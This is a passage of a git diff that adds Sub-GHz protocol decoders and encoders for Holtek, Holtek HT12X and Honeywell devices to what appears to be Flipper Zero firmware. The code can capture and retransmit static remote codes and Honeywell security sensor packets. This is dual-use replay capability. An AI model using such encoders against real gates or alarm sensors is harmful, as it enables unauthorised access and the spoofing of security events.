+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)((instance->generic.data >> 32) & 0xFFFFFFFF),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn >> 4);
+
+    if((instance->generic.btn & 0xF) == 0xE) {
+        furi_string_cat_printf(output, "ON\r\n");
+    } else if((instance->generic.btn & 0xF) == 0xB) {
+        furi_string_cat_printf(output, "OFF\r\n");
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.h
new file mode 100644
index 000000000..19081308d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HOLTEK_NAME "Holtek"
+
+typedef struct SubGhzProtocolDecoderHoltek SubGhzProtocolDecoderHoltek;
+typedef struct SubGhzProtocolEncoderHoltek SubGhzProtocolEncoderHoltek;
+
+extern const SubGhzProtocolDecoder subghz_protocol_holtek_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_holtek_encoder;
+extern const SubGhzProtocol subghz_protocol_holtek;
+
+/**
+ * Allocate SubGhzProtocolEncoderHoltek.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHoltek* pointer to a SubGhzProtocolEncoderHoltek instance
+ */
+void* subghz_protocol_encoder_holtek_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHoltek.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek instance
+ */
+void subghz_protocol_encoder_holtek_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_holtek_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek instance
+ */
+void subghz_protocol_encoder_holtek_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_holtek_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHoltek.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHoltek* pointer to a SubGhzProtocolDecoderHoltek instance
+ */
+void* subghz_protocol_decoder_holtek_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHoltek.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ */
+void subghz_protocol_decoder_holtek_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHoltek.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ */
+void subghz_protocol_decoder_holtek_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_holtek_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHoltek.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_holtek_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHoltek.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_holtek_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_holtek_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.c
new file mode 100644
index 000000000..25dfdb5ca
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.c
@@ -0,0 +1,413 @@
+#include "holtek_ht12x.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://www.holtek.com/webapi/116711/HT12A_Ev130.pdf
+ *
+ */
+
+#define TAG "SubGhzProtocolHoltekHt12x"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0080 ? '0' : '1'), (dip & 0x0040 ? '0' : '1'), (dip & 0x0020 ? '0' : '1'),     \
+        (dip & 0x0010 ? '0' : '1'), (dip & 0x0008 ? '0' : '1'), (dip & 0x0004 ? '0' : '1'), \
+        (dip & 0x0002 ? '0' : '1'), (dip & 0x0001 ? '0' : '1')
+
+static const SubGhzBlockConst subghz_protocol_holtek_th12x_const = {
+    .te_short = 320,
+    .te_long = 640,
+    .te_delta = 200,
+    .min_count_bit_for_found = 12,
+};
+
+struct SubGhzProtocolDecoderHoltek_HT12X {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+    uint32_t last_data;
+};
+
+struct SubGhzProtocolEncoderHoltek_HT12X {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t te;
+};
+
+typedef enum {
+    Holtek_HT12XDecoderStepReset = 0,
+    Holtek_HT12XDecoderStepFoundStartBit,
+    Holtek_HT12XDecoderStepSaveDuration,
+    Holtek_HT12XDecoderStepCheckDuration,
+} Holtek_HT12XDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_holtek_th12x_decoder = {
+    .alloc = subghz_protocol_decoder_holtek_th12x_alloc,
+    .free = subghz_protocol_decoder_holtek_th12x_free,
+
+    .feed = subghz_protocol_decoder_holtek_th12x_feed,
+    .reset = subghz_protocol_decoder_holtek_th12x_reset,
+
+    .get_hash_data = subghz_protocol_decoder_holtek_th12x_get_hash_data,
+    .serialize = subghz_protocol_decoder_holtek_th12x_serialize,
+    .deserialize = subghz_protocol_decoder_holtek_th12x_deserialize,
+    .get_string = subghz_protocol_decoder_holtek_th12x_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_holtek_th12x_encoder = {
+    .alloc = subghz_protocol_encoder_holtek_th12x_alloc,
+    .free = subghz_protocol_encoder_holtek_th12x_free,
+
+    .deserialize = subghz_protocol_encoder_holtek_th12x_deserialize,
+    .stop = subghz_protocol_encoder_holtek_th12x_stop,
+    .yield = subghz_protocol_encoder_holtek_th12x_yield,
+};
+
+const SubGhzProtocol subghz_protocol_holtek_th12x = {
+    .name = SUBGHZ_PROTOCOL_HOLTEK_HT12X_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_holtek_th12x_decoder,
+    .encoder = &subghz_protocol_holtek_th12x_encoder,
+};
+
+void* subghz_protocol_encoder_holtek_th12x_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHoltek_HT12X* instance =
+        malloc(sizeof(SubGhzProtocolEncoderHoltek_HT12X));
+
+    instance->base.protocol = &subghz_protocol_holtek_th12x;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_holtek_th12x_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek_HT12X* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ * @return true On success
+ */
+static bool
+    subghz_protocol_encoder_holtek_th12x_get_upload(SubGhzProtocolEncoderHoltek_HT12X* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te * 36);
+    //Send start bit
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)instance->te * 2);
+            instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)instance->te);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)instance->te);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)instance->te * 2);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_holtek_th12x_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek_HT12X* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_holtek_th12x_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_holtek_th12x_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_holtek_th12x_stop(void* context) {
+    SubGhzProtocolEncoderHoltek_HT12X* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_holtek_th12x_yield(void* context) {
+    SubGhzProtocolEncoderHoltek_HT12X* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_holtek_th12x_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHoltek_HT12X* instance =
+        malloc(sizeof(SubGhzProtocolDecoderHoltek_HT12X));
+    instance->base.protocol = &subghz_protocol_holtek_th12x;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_holtek_th12x_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_holtek_th12x_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    instance->decoder.parser_step = Holtek_HT12XDecoderStepReset;
+}
+
+void subghz_protocol_decoder_holtek_th12x_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Holtek_HT12XDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_holtek_th12x_const.te_short * 28) <
+                        subghz_protocol_holtek_th12x_const.te_delta * 20)) {
+            // 18720 us old max value
+            // 12960 us corrected max value
+            //Found Preambula
+            instance->decoder.parser_step = Holtek_HT12XDecoderStepFoundStartBit;
+        }
+        break;
+    case Holtek_HT12XDecoderStepFoundStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_holtek_th12x_const.te_short) <
+                       subghz_protocol_holtek_th12x_const.te_delta)) {
+            //Found StartBit
+            instance->decoder.parser_step = Holtek_HT12XDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->te = duration;
+        } else {
+            instance->decoder.parser_step = Holtek_HT12XDecoderStepReset;
+        }
+        break;
+    case Holtek_HT12XDecoderStepSaveDuration:
+        //save duration
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_holtek_th12x_const.te_short * 10 +
+                            subghz_protocol_holtek_th12x_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_holtek_th12x_const.min_count_bit_for_found) {
+                    if((instance->last_data == instance->decoder.decode_data) &&
+                       instance->last_data) {
+                        instance->te /= (instance->decoder.decode_count_bit * 3 + 1);
+
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->last_data = instance->decoder.decode_data;
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->te = 0;
+                instance->decoder.parser_step = Holtek_HT12XDecoderStepFoundStartBit;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->te += duration;
+                instance->decoder.parser_step = Holtek_HT12XDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = Holtek_HT12XDecoderStepReset;
+        }
+        break;
+    case Holtek_HT12XDecoderStepCheckDuration:
+        if(level) {
+            instance->te += duration;
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_holtek_th12x_const.te_long) <
+                subghz_protocol_holtek_th12x_const.te_delta * 2) &&
+               (DURATION_DIFF(duration, subghz_protocol_holtek_th12x_const.te_short) <
+                subghz_protocol_holtek_th12x_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Holtek_HT12XDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_holtek_th12x_const.te_short) <
+                 subghz_protocol_holtek_th12x_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_holtek_th12x_const.te_long) <
+                 subghz_protocol_holtek_th12x_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Holtek_HT12XDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = Holtek_HT12XDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Holtek_HT12XDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_holtek_th12x_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = instance->data & 0x0F;
+    instance->cnt = (instance->data >> 4) & 0xFF;
+}
+
+uint8_t subghz_protocol_decoder_holtek_th12x_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_holtek_th12x_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_write_uint32(flipper_format, "TE", &instance->te, 1)) {
+        FURI_LOG_E(TAG, "Unable to add TE");
+        ret = SubGhzProtocolStatusErrorParserTe;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_holtek_th12x_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_holtek_th12x_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            ret = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+static void subghz_protocol_holtek_th12x_event_serialize(uint8_t event, FuriString* output) {
+    furi_string_cat_printf(
+        output,
+        "%s%s%s%s\r\n",
+        (((event >> 3) & 0x1) == 0x0 ? "B1 " : ""),
+        (((event >> 2) & 0x1) == 0x0 ? "B2 " : ""),
+        (((event >> 1) & 0x1) == 0x0 ? "B3 " : ""),
+        (((event >> 0) & 0x1) == 0x0 ? "B4 " : ""));
+}
+
+void subghz_protocol_decoder_holtek_th12x_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek_HT12X* instance = context;
+    subghz_protocol_holtek_th12x_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%03lX\r\n"
+        "Btn: ",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFF));
+    subghz_protocol_holtek_th12x_event_serialize(instance->generic.btn, output);
+    furi_string_cat_printf(
+        output,
+        "DIP:" DIP_PATTERN "\r\n"
+        "Te:%luus\r\n",
+        CNT_TO_DIP(instance->generic.cnt),
+        instance->te);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.h
new file mode 100644
index 000000000..500c061aa
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HOLTEK_HT12X_NAME "Holtek_HT12X"
+
+typedef struct SubGhzProtocolDecoderHoltek_HT12X SubGhzProtocolDecoderHoltek_HT12X;
+typedef struct SubGhzProtocolEncoderHoltek_HT12X SubGhzProtocolEncoderHoltek_HT12X;
+
+extern const SubGhzProtocolDecoder subghz_protocol_holtek_th12x_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_holtek_th12x_encoder;
+extern const SubGhzProtocol subghz_protocol_holtek_th12x;
+
+/**
+ * Allocate SubGhzProtocolEncoderHoltek_HT12X.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHoltek_HT12X* pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ */
+void* subghz_protocol_encoder_holtek_th12x_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHoltek_HT12X.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ */
+void subghz_protocol_encoder_holtek_th12x_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_holtek_th12x_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ */
+void subghz_protocol_encoder_holtek_th12x_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHoltek_HT12X instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_holtek_th12x_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHoltek_HT12X.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHoltek_HT12X* pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ */
+void* subghz_protocol_decoder_holtek_th12x_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHoltek_HT12X.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ */
+void subghz_protocol_decoder_holtek_th12x_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHoltek_HT12X.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ */
+void subghz_protocol_decoder_holtek_th12x_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_holtek_th12x_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_holtek_th12x_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHoltek_HT12X.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_holtek_th12x_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHoltek_HT12X.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_holtek_th12x_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHoltek_HT12X instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_holtek_th12x_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.c
new file mode 100644
index 000000000..30e3f4e9c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.c
@@ -0,0 +1,437 @@
+#include "honeywell.h"
+
+#include <lib/toolbox/manchester_decoder.h>
+#include <lib/toolbox/manchester_encoder.h>
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+// Created by HTotoo 2023-10-30
+// Got a lot of help from LiQuiDz.
+// Protocol decoding help from: https://github.com/merbanan/rtl_433/blob/master/src/devices/honeywell.c
+// Fixes and style changes to use similar codebase as other protocols by @xMasterX 2025-10
+
+/*
+64 bit packets, repeated multiple times per open/close event.
+
+Protocol whitepaper: "DEFCON 22: Home Insecurity" by Logan Lamb.
+
+Data layout:
+
+    PP PP C IIIII EE SS SS
+
+- P: 16bit Preamble and sync bit (always ff fe)
+- C: 4bit Channel
+- I: 20bit Device serial number / or counter value
+- E: 8bit Event, where 0x80 = Open/Close, 0x04 = Heartbeat / or id
+- S: 16bit CRC
+*/
+
+#define TAG "SubGhzProtocolHoneywell"
+
+static const SubGhzBlockConst subghz_protocol_honeywell_const = {
+    .te_long = 280,
+    .te_short = 143,
+    .te_delta = 51,
+    .min_count_bit_for_found = 64,
+};
+
+struct SubGhzProtocolDecoderHoneywell {
+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockGeneric generic;
+    SubGhzBlockDecoder decoder;
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderHoneywell {
+    SubGhzProtocolEncoderBase base;
+    SubGhzBlockGeneric generic;
+    SubGhzProtocolBlockEncoder encoder;
+};
+
+const SubGhzProtocolDecoder subghz_protocol_honeywell_decoder = {
+    .alloc = subghz_protocol_decoder_honeywell_alloc,
+    .free = subghz_protocol_decoder_honeywell_free,
+    .feed = subghz_protocol_decoder_honeywell_feed,
+    .reset = subghz_protocol_decoder_honeywell_reset,
+    .get_hash_data = subghz_protocol_decoder_honeywell_get_hash_data,
+    .serialize = subghz_protocol_decoder_honeywell_serialize,
+    .deserialize = subghz_protocol_decoder_honeywell_deserialize,
+    .get_string = subghz_protocol_decoder_honeywell_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_honeywell_encoder = {
+    .alloc = subghz_protocol_encoder_honeywell_alloc,
+    .free = subghz_protocol_encoder_honeywell_free,
+    .deserialize = subghz_protocol_encoder_honeywell_deserialize,
+    .stop = subghz_protocol_encoder_honeywell_stop,
+    .yield = subghz_protocol_encoder_honeywell_yield,
+};
+
+const SubGhzProtocol subghz_protocol_honeywell = {
+    .name = SUBGHZ_PROTOCOL_HONEYWELL_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Sensors,
+    .encoder = &subghz_protocol_honeywell_encoder,
+    .decoder = &subghz_protocol_honeywell_decoder,
+
+};
+
+static void subghz_protocol_decoder_honeywell_addbit(void* context, bool data);
+
+void* subghz_protocol_decoder_honeywell_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHoneywell* instance = malloc(sizeof(SubGhzProtocolDecoderHoneywell));
+    instance->base.protocol = &subghz_protocol_honeywell;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void* subghz_protocol_encoder_honeywell_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHoneywell* instance = malloc(sizeof(SubGhzProtocolEncoderHoneywell));
+
+    instance->base.protocol = &subghz_protocol_honeywell;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 4;
+    instance->encoder.size_upload = 64 * 2 + 10;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_honeywell_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoneywell* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_decoder_honeywell_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoneywell* instance = context;
+    free(instance);
+}
+
+uint16_t subghz_protocol_honeywell_crc16(
+    uint8_t const message[],
+    unsigned nBytes,
+    uint16_t polynomial,
+    uint16_t init) {
+    uint16_t remainder = init;
+    unsigned byte, bit;
+
+    for(byte = 0; byte < nBytes; ++byte) {
+        remainder ^= message[byte] << 8;
+        for(bit = 0; bit < 8; ++bit) {
+            if(remainder & 0x8000) {
+                remainder = (remainder << 1) ^ polynomial;
+            } else {
+                remainder = (remainder << 1);
+            }
+        }
+    }
+    return remainder;
+}
+
+static LevelDuration
+    subghz_protocol_encoder_honeywell_add_duration_to_upload(ManchesterEncoderResult result) {
+    LevelDuration data = {.duration = 0, .level = 0};
+    switch(result) {
+    case ManchesterEncoderResultShortLow:
+        data.duration = subghz_protocol_honeywell_const.te_short;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongLow:
+        data.duration = subghz_protocol_honeywell_const.te_long;
+        data.level = false;
+        break;
+    case ManchesterEncoderResultLongHigh:
+        data.duration = subghz_protocol_honeywell_const.te_long;
+        data.level = true;
+        break;
